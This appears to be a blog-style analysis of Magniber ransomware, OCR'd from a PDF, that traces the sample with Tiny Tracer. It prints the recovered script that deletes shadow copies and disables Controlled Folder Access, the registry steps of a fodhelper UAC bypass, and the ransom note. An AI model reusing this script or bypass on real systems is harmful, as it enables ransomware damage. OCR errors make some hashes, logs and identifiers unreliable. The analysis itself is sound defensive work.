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Magniber ransomware analysis: Tiny Tracer in action
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Intro

Magniber is a ransomware that was initially targeting South Korea. My first report on this malware was written

for Malwarebytes in 2017 (here).

Since then, the ransomware was completely rewritten, and turned into a much more complex beast. The articles

showing the timeline of the evolution of Magniber ransomware are available here: Magniber at Malpedia. In this

writeup we will have a deep dive in a one of the samples from the updated edition.

Note that the sample described here is not new: it has been discovered in 2022 and analyzed by various
researchers. Due to the fact that this malware uses raw syscalls, I decided that it is a good example to showcase

the new version of Tiny Tracer (v2.3), allowing to trace syscalls. However, this writeup is not limited to a short

demo, but shows the analysis process step by step, from the beginning. Tiny Tracer will help us easily reach the

hidden core of this obfuscated ransomware: the code directly responsible for the files encryption process.

Analyzed sample

1. 7bb15a442a5aed5b2fa47eef3bc292e9 — Original sample: the MSI installer

2. 796eb864005f3393c3adce70dc31d6ba — the Magniber DLL

3. 882a21d7c07b3997d87e970£30110243 — the Magniber’s injector (shellcode#1)
4. a841c3bf69df48f7b796752d7c86bc38 — the Magniber’s core (shellcode#2)

Behavioral analysis

When executed, this rasomware runs silently, encrypting files with selected extensions, and appending its own
extension at the end. In case of the currently analyzed sample, the added extention is ¢ vieijibfm ‘. In each

directory with encrypted files, we can also find a ransom note: README.html .

Local Disk (C:) » lock_me_bmp

README.ht square] square] squarel.b

Wl (another (copyl.bm  mpovieijibf
copyl.bmp.  pwieijibfm I
wvieijibfrn
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Visualization of an encrypted BMP file — before and after (created with the help of file2png.py):

Before the encryption

After the encryption by Magniber

The entropy of the encrypted file is high, and there are no patterns visible. This may suggest that some strong

encryption was used, possibly AES with block chaining (CBC mode).

It drops, runs and then deletes a VBS script in C:\Users\Public , under a random name:

Local Disk (C:) » Users » Public

Marne - Date modified Type Size
Libraries 127772019 1:31 AM File folder
Public Account Pictures 10/15/2021 11:21 AM File folder
Public Desktop 8/7/2022 7:04 AM File folder
. Public Docurnents 10/15/2021 8:15 PM File folder
. Public Downloads 12/7/2019 1:14 AM File folder
. Public Music 127772019 1:14 AM File folder
. Public Pictures 12/7/2019 1:14 AM File folder
. Public Videos 12/7/2019 1:14 AM File folder
D Cstreooredmynkde 3/25/2023 8:50 AM File OKB
| oajimyhpner.mnxu 3/25/2023 %19 AM MMXLU File 1KB
D Zstreoorvdmynkde 3/25/2023 917 AM File 0O KB
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We can also find there two files with pseudorandom names, that are used as mutexes, to indidate that the

encryption is running, or completed. At the end, the PNG file is dropped in the same directory:

Local Disk (C:) » Users » Public w | 0
-
Marne Date modified Type Size
Libraries 12/7/2015 1:31 AM File folder
Public Account Pictures 10/15/2021 11:21 AM File folder
Public Desktop 8/7/2022 T:04 AM File folder
Public Documents 10/15/2021 8:15 PM File folder
Public Downloads 12/7/2019 1:14 AM File folder
Public Music 72019 1:14 AM File folder
Public Pictures 12/7/2015 1:14 AM File folder
Public Videos 019 1:14 AM File folder
| 8e50de00Gvieijibfrm 372 File 4KE
| Cstreoorvdmynkde 3/29 File O KB
MU HxD - [Ch\Users\Publich8e50de001 Gvieijibfm]
i8] File Edit Search View Analysis Tocls Window Help
hd B 2 & 16 | | Windows [AMNSI) el | hex v

ax| Be50deblbvieljibfm

Cffset (h) OO0 01 02 03 04 05 08 OTF7 0% 0% 04 OB OC OD QOE OF Decoded text
EE 30 4E 47 0D O& 1a OA QO 00 OD 4% 43 44 52 %FHG ........ THDR
oo 03 20 00 02 58 01 0o 00 nO BB 1 P o
33 00 00 06 50 4C 54 45 00 00 E9 COE 5B €1 3....PLTE...&.[a
e€E F7 12 00 00 ODr OE 49 44 41 54 78 SC ED 9D 5D n+..... IDATxel. ]
¢B 1B 4B SR 80 DF 9A SE ES% S5E DB 52 FA Be 1A 27 k.KES€ERSEZ&°CRAGT.!
D2 FE 84 12 02 D% 26 3A 16 FBE 3B Fé A6 1& 81 7C Ob...Us:.@:6!..]
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The information printed at the wallpaper mentions the ransom note README.html where the victim can find more

information.

The content of the README.html has the following form:

C O filey///C:llack_me_bmp/README.htm|

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED!

Your files are NOT damaged! Your files are modified only. This modification is reversible.
The only 1 way to decrypt your files is to receive the private key and decryption program.

Any attempts to restore your files with the third party software will be fatal for vour files!

To receive the private key and decryption program follow the instructions below:
1. Download 'Tor Browser' from https://www torproject.org/ and install it.

2. In the "Tor Browser' open vour personal page here:

http://8e50de0016vieyjibfm ky7vryled6x272nexosuw2jzbrzwdegk21 Tunugjeysgx2 ggezunTsad omon/vieyjibfm

Note! This page is available via 'Tor Browser' only.

Also you can use temporary addresses on vour personal page without using "Tor Browser':

http://8e50de0016vieyjibfm jobsoon fun/vieyibfm
http://8e50de0016vieijibfm crynine link/vieijibfm
http://8e50de0016vieijibfm rowshut pw/vieijibfim

http://8e50de0016vieljibfm sonplot.site/vienibfim

Note! There are temporary addresses! They will be available for a limited amount of time!

It mentions further a Tor website, that can be used to make the contact with the attacker, and possibly buy the key

for files decryption. At the time of this analysis, the website was not available.

While the extension added to the encrypted files didn’t change, and also occurs in the note, the used number at the

beginning of the address is generated per attack.

Note that the ransom note is almost identical as the note used by the old Magniber’s version from 2017:
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j READ_ME_FOR_DECRYPT_92wwmy40igq7dyn6232]_.txt - Notepad
File Edit Format View Help
ALL YOUR DOCUMENTS, PHOTOS, DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED!

Your files are NOT damaged! your files are modified only. This modification is reversible.
The only 1 way to decrypt your files is to receive the prlivate key and decryption program.

Any attempts to restore your files with the third-party software will be fatal for your files!

To receive the private key and decryption program follow the instructions below:
1. pownload "Tor Browser”™ from https://www.torproject.org/ and install it.

2. In the "Tor Browser” open your personal page here:
http://92wvmy40ig74yn62321. ofotgrmsrdcéc3rz. onion,/EF866p5MI3wD5513

Note! This page is available via "Tor Browser” only.

Also you can use temporary addresses on your personal page without using "Tor Browser™:

http://92wvmy401g74yn62321. bankme. date/EPBEEPSMI3WDS513
http://92wvmy40iq74yn62321. jobsnot. services,/EP866p5MI3wDS5513
http://92wvmy40iq74yn62321. carefit. agency/EF866pSMI3wD5513
http://92wvmy40ig74yn62321. hotdisk.wor1d/EF866p5MI3wD5513

Note! These are temporary addresses! They will be available for a Timited amount of time!

Above: ransom note from the old Magniber’s edition (from 2017), full analysis at:

https://www.malwarebytes.com/blog/news/2017/10/magniber-ransomware-exclusively-for-south-koreans

Inside
Upacking the MSI

Magniber sample comes packed in the MSI (Microsoft Installer). We can view the scripts inside with Microsoft’s
tool, Orca MSI (mirror: here).

&% SYSTEM.Critical. Upgrade Win10.0.83703795b3%¢8.msi - Orca
File Edit Tables Transform Tools View Help

O = =

Tables Action Type Source Tarqet
AdminExecuteSequence luukjoathze 63 utskzc mvrtubhpiy
AdminUlSequence
AdvtExecuteSequence
Binary

Customdfiction

File
InstallExecuteSequence
InstallUl5equence
Media

Property

_Validation

By looking at the “Custom Action” we find out that the binary to be run is named “utskzc”, and the function that

will be executed from there is “mvrtubhpxy”. In order to access that binary we need to unpack the content of the
MSI package. We can do it with the help of 7zip.

Then we find out that the aforementioned binary is a PE file, and it exports the function “mvrtubhpxy”.
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Exported Functions [ 79 entries ]
Dffset Ordinal Function RVA Name RVA Mame
FO&9 mvrtubhpxy

[N

3
4
5

=~ h

[#4]

skze

Binary. uts

This is where the execution of the binary starts.

Overview of Magniber’s DLL

If we try to open this binary in IDA, we can clearly see that this binary is obfuscated. The execution starts from a

single call...

. mvrtubhpxy

mow
mov
cmp
jb

ll:c
retn
mvrtubhpy

ret_18

...that leads into a “rabbithole” of jumps...

Page 6 of 47



https://hshrzd.wordpress.com /2023/03/30/magniber-ransomware-analysis/

How can we analyze the ransomware inner workings, when it is so hard to even find the relevant code? It isn’t as

hard as it seems if we involve DBI (Dynamic Binary Instrumentation) tools, such as Pin-based Tiny Tracer.
Tracing the first stage executable

Let’s dive into the sample by tracing it with Tiny Tracer (you can find the installation instructions here). To makes

things easier, I converted the DLL into EXE (as described here), changing its entry point to the exported function

(since the D11Main does not do much in this case, and the exported function takes no parameters, we should be

able to simply redirect it).

However, on the attempt of tracing it, I’ve got an unpleasant surprise. The Pin Tracer terminated with an error:

Pin: pin-3.25-98650-8f6168173
Copyright 2002-2022 Intel Corporation.
E: UPC Dispatcher: Unhandled internal exception in Pin or tool. ThreadId = @ SysThreadId = 3348. In

It is not very intuitive to guess what caused such error. Fortunately, from the previous experience I know what it
could be: some corruptions in the PE format itself. By looking at the Magniber executable in PE-bear, I found the

suspected cause — malformed data directories:
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FAERA

Disasm: .swicc | General | DOS Hdr | File Hdr | Optional Hdr | Section Hdrs | @ Expd

Offset Mame Value Value
Checksum 0
Subsystem 2 Windows GUI
DLL Characteristics 120
100 Image is NX compatible
ize of Stack Reserve 100000
ize of Stack Commit 1000
ize of Heap Reserve 100000
Size of Heap Commit 1000
Loader Flags 0
Number of RVAs and Sizes 10
Data Directory Address
Export Directory
Import Directory
Resource Directory
Exception Directory 50927234
Security Directory 72E73E66
Base Relocation Table 0
Debug Directory 6D692EFD
Architecture Specific Data 0
RvA of GlobalPtr B724F350
TLS Directory
Load Configuration Directory
Bound Import Directory
Import Address Table
Delay Load Import Descriptors 4F23B4A0
MET header n

skzc

Binary. uts

I cleaned it up, by removing the invalid entries:
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DLL Characteristics 120
100 Image is NX compatible
ize of Stack Reserve 100000
ize of Stack Commit 1000
ize of Heap Reserve 100000
Size of Heap Commit 1000
Loader Flags 0
Number of RVAs and Sizes 10
Data Directory Address
Export Directory
Import Directory
Resource Directory

Exception Directory
Security Directory

Base Relocation Table

Debug Directory

Architecture Specific Data

RVA of GlobalPtr

TLS Directory

Load Configuration Directory
Bound Import Directory
Import Address Table

Delay Load Import Descriptors
.NET header

Then made another attempt. This time the tracing continues cleanly.

This is the fragment of the tracelog made with default Tiny Tracer’s settings:

f069;section: [.swicc]

10c4;called: ?? [13240000+0]

> 13240000+20;called: ?? [1324d000+53d]
13240000+55; called: ?? [13270000+0]
13240000+ca;called: ?? [13270000+0]
13240000+229; called: ?? [13330000+0]
13240000+272; called: ?? [13370000+0]
13240000+229; called: ?? [13390000+0]
13240000+272; called: ?? [133d0000+0]

vV V V V V V

It doesn’t give us much information, apart from the fact that the execution quickly switched to some newly
allocated block of code (probably a shellcode or a section unpacked in memory). To get more details, make sure

that following settings are set in TinyTracer.ini:
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FOLLOW_SHELLCODES=3
TRACE_SYSCALL=True

This time we can see something more interesting — it turns out the malware uses raw syscalls!

f069;section: [.swicc]
ef24;SYSCALL:0x18(NtAllocateVirtualMemory)
10c4;called: ?? [14bd0000+0]

> 14bd0000+20; called: ?? [14bdd000+53d]

> 14bd0000+4ee; SYSCALL:0x18(NtAllocateVirtualMemory)
> 14bd0000+55; called: ?? [14be0000+0]

> 14bd0000+4ee; SYSCALL:0x18(NtAllocateVirtualMemory)
> 14bd0000+ca;called: ?? [14be0000+0]

> 14bd0000+4ee; SYSCALL:0x18(NtAllocateVirtualMemory)
> 14bd0000+229; called: ?? [14c90000+0]

> 14bd0000+4ee; SYSCALL:0x18(NtAllocateVirtualMemory)
> 14bd0000+272;called: ?? [14cd0000+0]

> 14bd0000+4ee; SYSCALL:0x18(NtAllocateVirtualMemory)
14bd0000+229; called: ?? [14cf0000+0]

> 14bd0000+4ee; SYSCALL:@x18(NtAllocateVirtualMemory)
[...]

\%

At this point we can already read from the tracelog where the “rabbit hole” ends. The new memory is allocated
(using the syscall), the content of shellcode is copied there, and executed. The execution is redirected to the
shellcode at the RVA = 0x10c4 in the Magniber’s executable. We can set the breakpoint at this offset in a
debugger, and dump this shellcode for further analysis (it is shellcode#1).

But for now, let’s continue with the tracing of the main executable, and see what we can learn from it...

There are some back-and-forth calls between the different pieces of a shellcode, so, in order to avoid the noise, I

am gonna filter it out by changing yet another option in TinyTracer.ini:

LOG_SHELLCODES_TRANSITIONS=False

And we can try tracing it again. This is what I got this time:

f069;section: [.swicc]
ef24;SYSCALL:0x18(NtAllocateVirtualMemory)
10c4;called: ?? [14bd0000+0]

> 14bd0000+4ee; SYSCALL:@x18(NtAllocateVirtualMemory)
> 14be0@000+8; SYSCALL:0x36(NtQuerySystemInformation)
> 14bd0000+4ee; SYSCALL:@x18(NtAllocateVirtualMemory)
> 14be0@000+8; SYSCALL:0x36(NtQuerySystemInformation)
> 14bd0000+4ee; SYSCALL:@x18(NtAllocateVirtualMemory)
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14c90000+8; SYSCALL:0x34(NtDelayExecution)
14bd0000+4ee; SYSCALL:@x18(NtAllocateVirtualMemory)
14cd0000+8; SYSCALL:0x26(NtOpenProcess)
14bd0000+4ee; SYSCALL:@x18(NtAllocateVirtualMemory)
14cf0000+8; SYSCALL:0x34(NtDelayExecution)
14bd0000+4ee; SYSCALL:@x18(NtAllocateVirtualMemory)
14d30000+8; SYSCALL : @x26 (NtOpenProcess)
14bd0000+4ee; SYSCALL:@x18(NtAllocateVirtualMemory)
14d70000+8; SYSCALL:0x34(NtDelayExecution)
14bd0000+4ee; SYSCALL:@x18(NtAllocateVirtualMemory)
14d80000+8; SYSCALL : @x26 (NtOpenProcess)
14bd0000+4ee; SYSCALL:0x18(NtAllocateVirtualMemory)
14d90000+8; SYSCALL : 0x34(NtDelayExecution)
14bd0000+4ee; SYSCALL:0x18(NtAllocateVirtualMemory)
14da0000+8; SYSCALL:0x26(NtOpenProcess)
14bd0000+4ee; SYSCALL:0x18(NtAllocateVirtualMemory)
o]

170f7000+6cb; SYSCALL:0x8(NtWriteFile)
170f7000+6b5; SYSCALL: 0xf(NtClose)
170f7000+6aa; SYSCALL: 0x34(NtDelayExecution)
170f2000+cc3;ntd11.Rt1CreateProcessParametersEx
170f7000+67¢e;SYSCALL:0x18(NtAllocateVirtualMemory)
170£7000+841;SYSCALL:0xc8(NtCreateUserProcess)

V V VvV V V V V V V V VvV

vV V V V VvV v —m V V V V V

Complete tracelog available here: magni.tag

At the end PIN dumped pin.log file informing about an error:

Pin: pin-3.26-98690-1fc9d60eb
Copyright 2002-2022 Intel Corporation.
A: C:\tmp_proj\pinjen\workspace\pypl-pin-nightly\GitPin\Source\pin\vm_w\follow_child_windows.cpp: LE'

This time the error informs that the traced process created a child, which Tiny Tracer failed to follow (indeed we

can see in the log file the last called function is NtCreateUserProcess ). This situation is normal.

As we can see, the majority of the logged functions are called by syscalls. There are just a few functions here and

there that are called directly from a DLL, such as RtlCreateProcessParametersEx , RtlInitUnicodeString .

The next thing that we can do in order to get more information about what is going on, is to dump arguments of

the functions. This can be easily done with Tiny Tracer, by editing params.txt list (more info on project Wiki).

Since Tiny Tracer v2.3 we can also log syscalls arguments. In this case, we will log the syscalls arguments

referencing them by the corresponding functions from NTDLL.

I prepared a list relevant for the above tracelog (gist: params.txt):
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ntdll;Rt1CreateProcessParametersEx;10
ntdll;Rt1InitUnicodeString;?2
ntdl1l;NtAllocateVirtualMemory;6
ntd11;NtQuerySystemInformation;4
ntd11;NtOpenProcess;4
ntdll;NtWriteVirtualMemory;5
ntdl1;NtCreateThreadEx;11
ntd1l;NtResumeThread;?2
ntd11;NtQueryPerformanceCounter;?2
ntdll;NtOpenFile;6
ntd11;NtQueryVolumeInformationFile;5
ntdll;NtOpenKey;3
ntdll;NtEnumerateKey;6
ntdl1;NtWriteFile;9
ntdl1;NtSetValueKey;6
ntd11;NtCreateUserProcess;10
ntdll;NtCreateFile;10

I traced it again, with the changed settings. This time tracelog revealed the strings that were referenced by this

functions. Fragment:

[...]
> 17353000+df9;ntd11.Rt1InitUnicodeString
RtlInitUnicodeString:
Arg[@] = ptr 0x00000000174bf900 -> U"\Registry\User\"
Arg[1] = ptr 0x0000000017c80000 -> L"AppX04g@mbrz4mkc6e879rpfoqk6te730jfv"

> 17357000+6T7; SYSCALL :0x12(NtOpenKey)

NtOpenKey:
Arg[@] = ptr 0x00000000174bf8f0 -> {\xff\xff\xff\xff\xff\xff\xff\xff}
Arg[1] = ptr 0x00000000000f003f -> {\x000.\x9a\x02\x00\x00\x00}
Arg[2] = ptr 0x00000000174bf910 -> L"0@"

> 17353000+ede;ntd11.Rt1InitUnicodeString

RtlInitUnicodeString:
Arg[@] = ptr 0x00000000174bf900 -> U"AppX@4g@mbrz4mkc6e879rpfbgkote730jfv"
Arg[1] = ptr 0x00000000174bf9c@ -> L"Shell"

> 17357000+6F7;SYSCALL:0x12(NtOpenKey)

NtOpenKey:
Arg[@] = ptr 0x00000000174bf8f0 -> {\x04\x02\x00\x00\x00\x00\x00\x00}
Arg[1] = ptr 0x00000000000f003f -> {\x000.\x9a\x02\x00\x00\x00}
Arg[2] = ptr 0x00000000174bf910 -> L"0"

> 17353000+ea2;ntd11.Rt1InitUnicodeString
RtlInitUnicodeString:
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Arg[0]
Arg[1]

ptr 0x00000000174bf900 -> U"Shell"
ptr 0x00000000174bf9b0 -> L"Open"

> 17357000+6f7; SYSCALL :0x12(NtOpenKey)

NtOpenKey:
Arg[@] = ptr 0x00000000174bf8f0 -> {\x08\x02\x00\x00\x00\x00\x00\x00}
Arg[1] = ptr 0x00000000000f003f -> {\x00@.\x9a\x02\x00\x00\x00}
Arg[2] = ptr 0x00000000174bf910 -> L"0"

> 17353000+ef6;ntd11.Rt1InitUnicodeString
RtlInitUnicodeString:
Arg[@] = ptr 0x00000000174bf900 -> U"Open"
Arg[1] = ptr 0x00000000174bf%@ -> L"command"

> 17357000+6F7;SYSCALL:0x12(NtOpenKey)

NtOpenKey:
Arg[@] = ptr 0x00000000174bf8f0 -> {\x0c\x02\x00\x00\x00\x00\x00\x00}
Arg[1] = ptr 0x00000000000f003f -> {\x000.\x9a\x02\x00\x00\x00}
Arg[2] = ptr 0x00000000174bf910 -> L"@"

> 17353000+149;ntd11.Rt1InitUnicodeString
RtlInitUnicodeString:
Arg[@] = ptr 0x00000000174bf900 -> U"command"
Arg[1] = ptr 0x00000000174bfaf@ -> {\x00\x00\x00\x00\x00\x00\x00\x00}

> 17357000+70d; SYSCALL:0x60(NtSetValueKey)

NtSetValueKey:
Arg[0] = 0x0000000000000210 = 528
Arg[1] = ptr 0x00000000174b7900 -> {\x00\x00\x02\x00\x00\x00\x00\x00}
Arg[2] = 0
Arg[3] = 0x0000000000000001 = 1
Arg[4] = ptr 0x0000000017bd0000 -> L"wscript.exe /B /E:VBScript.Encode ../../Users/Public/vyl
Arg[5] = 0x000000000000008a = 138

> 17353000+186;ntd11.Rt1InitUnicodeString

RtlInitUnicodeString:
Arg[@] = ptr 0x00000000174bf900 -> {\x00\x00\x02\x00\x00\x00\x00\x00}
Arg[1] = ptr 0x00000000174bfa28 -> L"DelegateExecute"

> 17357000+70d; SYSCALL :0x60(NtSetValueKey)

NtSetValueKey:
Arg[@] = 0x0000000000000210 = 528
Arg[1] = ptr 0x00000000174bf900 -> U"DelegateExecute”
Arg[2] = 0
Arg[3] = 0x0000000000000001 = 1
Arg[4] = ptr 0x00000000174bfaf@ -> {\x00\x00\x00\x00\x00\x00\x00\x00}

Arg[5] = 0x0000000000000004 = 4
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> 17357000+6b5; SYSCALL:0xf(NtClose)
> 17357000+689;SYSCALL:0x1e(NtFreeVirtualMemory)
> 17354000+1b;ntd11.Rt1InitUnicodeString
RtlInitUnicodeString:
Arg[0] = ptr 0x00000000174bf900 -> U"DelegateExecute"
Arg[1] = ptr 0x00000000174bf9f@ -> L"ms-settings"

> 17357000+718; SYSCALL:0x1d(NtCreateKey)
> 17354000+87;ntd11.Rt1InitUnicodeString
RtlInitUnicodeString:
Arg[0] = ptr 0x00000000174bf900 -> U"ms-settings"
Arg[1] = ptr 0x00000000174bf9d@ -> L"CurVer"

> 17357000+718;SYSCALL:0x1d(NtCreateKey)
> 17354000+f4;ntdl1.Rt1InitUnicodeString
RtlInitUnicodeString:
Arg[@] = ptr 0x00000000174bf90@ -> U"CurVer"
Arg[1] = ptr 0x00000000174bfaf@ -> {\x00\x00\x00\x00\x00\x00\x00\x00}

> 17357000+70d; SYSCALL :0x60 (NtSetValueKey)

NtSetValueKey:
Arg[0] = 0x0000000000000214 = 532
Arg[1] = ptr 0x00000000174bf900 -> {\x00\x00\x02\x00\x00\x00\x00\x00}
Arg[2] = 0
Arg[3] = 0x0000000000000001 = 1
Arg[4] = ptr 0x0000000017c80000 -> L"AppX04g@mbrz4mkc6e879rpfogk6te730jfv"
Arg[5] = 0x0000000000000048 = 72

> 17357000+6b5; SYSCALL: 0xf (NtClose)
> 17357000+6b5; SYSCALL:0xf(NtClose)
> 17357000+6aa; SYSCALL:0x34(NtDelayExecution)
> 17357000+67¢;SYSCALL:0x18(NtAllocateVirtualMemory)
NtAllocateVirtualMemory:
Arg[@] = Oxffffffffffffffff = 18446744073709551615

Arg[1] = ptr 0x00000000174bf8c@ -> {\x00\x00\x00\x00\x00\x00\x00\x00}
Arg[2] = 0

Arg[3] = ptr 0x00000000174bf8c8 -> L"J"

Arg[4] = 0x0df06fa200001000 = 1004425458479009792

Arg[5] = 0x3548001a00000004 = 3839318794002497540

> 17357000+6¢0; SYSCALL:0x55(NtCreateFile)

NtCreateFile:
Arg[0] = ptr 0x00000000174bf800 -> {\xTf\xFF\xff\xff\xff\xff\xff\xff}
Arg[1] = ptr 0x0000000000120116 -> {\x00\x00\xf0*\x9a\x02\x00\x00}
Arg[2] = ptr 0x00000000174bf840 -> L"0"

Arg[3]

ptr 0x00000000174bf830 -> {\x00\x00\x00\x00\x00\x00\x00\x00}
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Arg[4]
Arg[5]
Arg[6]
Arg[7]
Arg[8]
Arg[9]

> 17357000+6¢cb;

NtWriteFile:
Arg[@]
Arg[1]
Arg[2]
Arg[3]
Arg[4]
Arg[5]
Arg[6]
Arg[7]
Arg[8]
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0
0x3548001200000080 = 3839318794002497664
0x7220201200000002 = 8800068933563449346
0x3478478200000005 = 3780850545208590341
0x3c506e8200000020 = 4346095145037332512
0

SYSCALL:0x8(NtWriteFile)

0x0000000000000200 = 512

0

0

0

ptr 0x00000000174bf810 -> {\x00\x00\x00\x00\x00\x00\x00\x00}
ptr 0x000000001735cdbf -> {#@ "YQIA}

0x7a2020120000027c = 8800068933563449980

0

0

> 17357000+6b5; SYSCALL:0xf(NtClose)

> 17357000+6aa; SYSCALL:0x34(NtDelayExecution)

> 17352000+cc3;ntd11.Rt1CreateProcessParametersEx
Rt1CreateProcessParametersEx:

Arg[@]
Arg[1]
Arg[2]
Arg[3]
Arg[4]
Arg[5]
Arg[6]
Arg[7]
Arg[8]
Arg[9]

ptr 0x00000000174bf8b@ -> {\x00\x00\x00\x00\x00\x00\x00\x00}
ptr 0x00000000174bf7f0 -> U"\?2\C:\Windows\System32\cmd.exe"
0

0

ptr 0x00000000174bf800 -> U"/c fodhelper.exe"

0

0
0
0
0

> 17357000+67e;SYSCALL:0x18(NtAllocateVirtualMemory)
NtAllocateVirtualMemory:

Arg[@]
Arg[1]
Arg[2]
Arg[3]
Arg[4]
Arg[5]

OxfEEfffffffffffff = 18446744073709551615

ptr 0x00000000174bf8c@ -> {\x00\x00\x00\x00\x00\x00\x00\x00}
0

ptr 0x00000000174bf8b8 -> L" "

0x0000000000001000 = 4096

0x0000000000000004 = 4

> 17357000+8417; SYSCALL:0xc8(NtCreateUserProcess)
NtCreateUserProcess:

Arg[0]
Arg[1]

ptr 0x00000000174bT810 -> {\x00\x00\x00\x00\x00\x00\x00\x00}
ptr 0x00000000174bf8c8 -> {\x00\x00\x00\x00\x00\x00\x00\x00}
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Arg[2] = 0x00000000001fffff = 2097151
Arg[3] = 0x00000000001fffff = 2097151
Arg[4] = 0
Arg[5] = 0
Arg[6] = 0
Arg[7] = 0

Arg[8] = ptr 0x000000000046a610 -> {\xc8\x06\x00\x00\xc8\x06\x00\x00}
Arg[9] = ptr 0x00000000174bf820 -> L"X"

Complete log available here: magni.exe.tag.

As we can see, at the end the application executed “fodhelper.exe”. Googling for the related strings lead us to the

following PoC: FodhelperBypass.psl. As we can see, this system application was used in one of the technique of

UAC (User Account Bypass), meant to elevate privileges on Windows. Comparing the strings used by the
malware with the ones used in the PoC, as well as their order, and the context of usage, we can find a big overlap

that allows to guess that this indeed was a UAC technique used by Magniber.

Then we reach the aforementioned point where the Tiny Tracer is not able to follow the child process, so the
execution terminates. At first, I thought to get more luck by running Magniber directly as an Administrator, so that
it will skip the process creation, that is a part of its UAC technique. Unfortunately, the UAC is executed regardless

the malware is deployed elevated or not. For now we will just continue the analysis with what we have.
The VBE script

We can see in the log a line referencing a VBScript:

L"wscript.exe /B /E:VBScript.Encode ../../Users/Public/vybmaryqycp.mnxu"

Indeed this script is dropped (under a pseudo-random name) into C:/Users/Public.

This script is in an encrypted form (VBE), but it can be deobfuscated easily using public tools, i.e. this one. The

resulting content:

On Error Resume Next

Set dd4y336wf97z = GetObject("winmgmts: {impersonationLevel=impersonate } \\.\root\cimv2")
Set s1028iq = dd4y336wf97z.ExecQuery("Select * From Win32_ShadowCopy")

For Each d18706x in s1028iq

d18706x.Delete_

Next

Set c6406r7uh = GetObject("winmgmts:

{impersonationLevel=impersonate } \\.\root\Microsoft\Windows\Defender:MSFT_MpPreference")

Page 16 of 47


https://gist.github.com/hasherezade/873bb70444cde808011f41e831fffef5
https://gist.github.com/hasherezade/873bb70444cde808011f41e831fffef5
https://gist.github.com/hasherezade/873bb70444cde808011f41e831fffef5
https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1
https://master.ayra.ch/vbs/vbs.aspx

https://hshrzd.wordpress.com /2023/03/30/magniber-ransomware-analysis/

Set jlfze3cylqgjq = c6406r7uh.Methods_("Set").inParameters.SpawnInstance_()
jlfze3cylqgjq.Properties_.Item("EnableControlledFolderAccess") = 0
Set ub7mu3 = c6406r7uh.ExecMethod_("Set", jlfze3cylqjq)

WScript.Quit Err.Number

As we can see, the script is responsible for deleting shadow copies. It also try to change the system settings, in

order to expand what files it can access.

After being run, the script is deleted.

Revealing the second stage shellcode

The inital sample has been terminated, but nevertheless, looking at the symptoms, we can conclude that the
ransomware continued its execution: any newly created files with particular extensions keep getting encrypted.
Probably the modules got injected into other processes. This observation can be confirmed by looking at the

tracelog:

o]

15460000+8; SYSCALL:0x26(NtOpenProcess)
14bd0000+4ee; SYSCALL:@x18(NtAllocateVirtualMemory)
15470000+8; SYSCALL: 0x34(NtDelayExecution)
14bd0000+4ee; SYSCALL:@x18(NtAllocateVirtualMemory)
15490000+8; SYSCALL:0x19(NtQueryInformationProcess)
14bd0000+4ee; SYSCALL:@x18(NtAllocateVirtualMemory)
15420000+8; SYSCALL:0x34(NtDelayExecution)
14bd0000+4ee; SYSCALL:@x18(NtAllocateVirtualMemory)
14bd0000+4ee; SYSCALL:@x18(NtAllocateVirtualMemory)
154b0000+8; SYSCALL : 0x34(NtDelayExecution)
14bd0000+4ee; SYSCALL:0x18(NtAllocateVirtualMemory)
154c0000+8; SYSCALL:0x3a(NtWriteVirtualMemory)
14bd0000+4ee; SYSCALL:0x18(NtAllocateVirtualMemory)
154d0000+8; SYSCALL : 0x34(NtDelayExecution)
14bd0000+4ee; SYSCALL:0x18(NtAllocateVirtualMemory)
154e0000+8; SYSCALL: 0x50(NtProtectVirtualMemory)
14bd0000+4ee; SYSCALL:0x18(NtAllocateVirtualMemory)
154f0000+8; SYSCALL:0x34(NtDelayExecution)
14bd0000+4ee; SYSCALL:0x18(NtAllocateVirtualMemory)
15500000+8; SYSCALL:0xc1(NtCreateThreadEx)
14bd0000+4ee; SYSCALL:0x18(NtAllocateVirtualMemory)
15510000+8; SYSCALL : @x34(NtDelayExecution)
14bd0000+4ee; SYSCALL:0x18(NtAllocateVirtualMemory)
15530000+8; SYSCALL:0x52(NtResumeThread)

o]

— VvV V V V V V V V V V V V V V V V V V V V V V V VvV M
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As we can see in the log, the malware was looping over processes, writing to some of them, and executing the

written content in a new thread.

In order to reveal where the implanted modules are located, I scanned the system with HollowsHunter (as an
Administrator), with a parameter /shellc - to dump all the shellcodes. It turned out that there are multiple

processes infected with the same piece of a shellcode. Example:
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“ S » hollows_hunter.dumps » process_2180
Mame Type Size
3 Quick access
D 2achee10000.5he SHC File 56 KB
[ Desktop -+ _ _
D durmp_report.json JSOM File 1 KB

; Downloads -
E‘r ChUsershtester\Desktopihollows_hunter.dumpsiprocess_21800\scan_report.json - Notepad++

' | scan_report.json JSOM File 1KB

File Edit Search VYiew Encoding Language Settings Tecls Macre Run Plugins  Wir
cHHRBR A shbh ety 2% BE|S1(E

[= scan_report json E3 |

1 H{

2 "pid™ : 2130,

3 "is 64 bit" : 1,

4 "is managed" : O,

5 "main image path" : "C:\\Windows\\System32\\svchost.exe",
& "used reflection™ : 0O,

T "scanned"

B H {

& "total™ @ &5,

10 "skipped™ @ O,

11 "modified"”

12 =l {

13 "total™ @ 1,

14 "patched™ @ O,

15 "iat_hooked" @ O,

16 "replaced"™ : 0O,

17 "hdr modified" : 0O,

18 "implanted pe™ @ O,

15 "implanted shc" @ 1,

20 "unreachakle file"™ : O,
21 "other™

22 I }.

23 "errors"™

24 =R

25 = "zcans" @ [

26 {

27 = "workingset scan" : {
28 "module™ : "2aceesl000O",
28 "module size™ @ "e00O0",
30 "status" : 1,

31 "has _pe" : 0,

32 "has shellcode™ : 1,
33 "is listed module™ @ O,
34 "protection™ @ "407,
35 "mapping type" : "MEM PRIVATE"
36 I }

37 s }

38 |

39 - 1

Looking at the shellcode strings, we can see that it has a PNG embedded (that is probably the used wallpaper), and

as well some HTML and JavaScript:
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[%] 2acEee10000.shc (56.0 KB) - BareTail - O H
File Edit View Preferences Help

ﬁOpeg .i?'HighIigI'rting [v Fallow Tail | ANSI ~ | | C:\Users'tester\Desktophollows_hunter.dumps‘process_2180\2acbee 10000 st
